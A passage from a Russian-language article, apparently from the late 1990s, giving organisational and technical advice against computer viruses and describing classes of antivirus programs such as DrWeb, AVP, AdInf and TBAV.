Отсюда следует очень простой вывод: вместо того чтобы лечить от вируса, лучше не допускать заражения.

Как бороться с вирусами

Существует два класса средств для борьбы с вирусами: организационные и технические.

Организационные методы направлены на предотвращение заражения компьютерным вирусом.

Можно порекомендовать ряд простых и действенных мер. Внимательно следите за происхождением всех новых программ и документов на вашем компьютере. Например, ни в коем случае не следует доверять таким источникам, как CD с пиратским программным обеспечением. Не секрет, что к широкому распространению в нашей стране печально знаменитого "импортного" вируса Win32.CIH (а также вирусов TaiPan, Major, Burglar и другие) приложили свои "умелые руки" именно доморощенные пираты. Активно пользуйтесь такими возможностями, как шторка защиты от записи на дискете, режим "virus protection" в CMOS SETUP вашего компьютера и "галочка" защиты от исполнения макросов в WinWord 97. Сохранять и переносить WinWord-документы лучше в RTF-формате, его вирусы не заражают. Поставьте на файл NORMAL.DOT атрибут защиты от записи, большинство макровирусов не смогут заразить его и, значит, закрепиться на вашем компьютере.

Технические методы направлены на обнаружение, блокирование и удаление вирусов.

Эти методы предусматривают использование различных антивирусов. аиболее известны так называемые "фаги" - программы, предназначенные для поиска и излечения известных вирусов, например DrWeb или AVP. Эффективно работают "инспектора" - программы, сохраняющие сведения о текущем программно-аппаратном состоянии вашего компьютера и регулярно следящие за всеми изменениями, например AdInf. Большую пользу могут принести так называемые "мониторы", которые в резидентном режиме постоянно отслеживают и

блокируют в процессе работы компьютера все вирусоподобные действия программ; к этому классу можно отнести программу AVP Inspector. Редко встречаются и используются преимущественно вирусологами "сканеры" - программы, способные анализировать код программ с целью отыскания неизвестных еще вирусов, например TBAV. Ряд антивирусных продуктов совмещает в себе различные функции, например: "фаги" DrWeb и AVP умеют также "сканировать" программы, а "монитор" AVP Inspector способен также "инспектировать" содержимое дисковой памяти.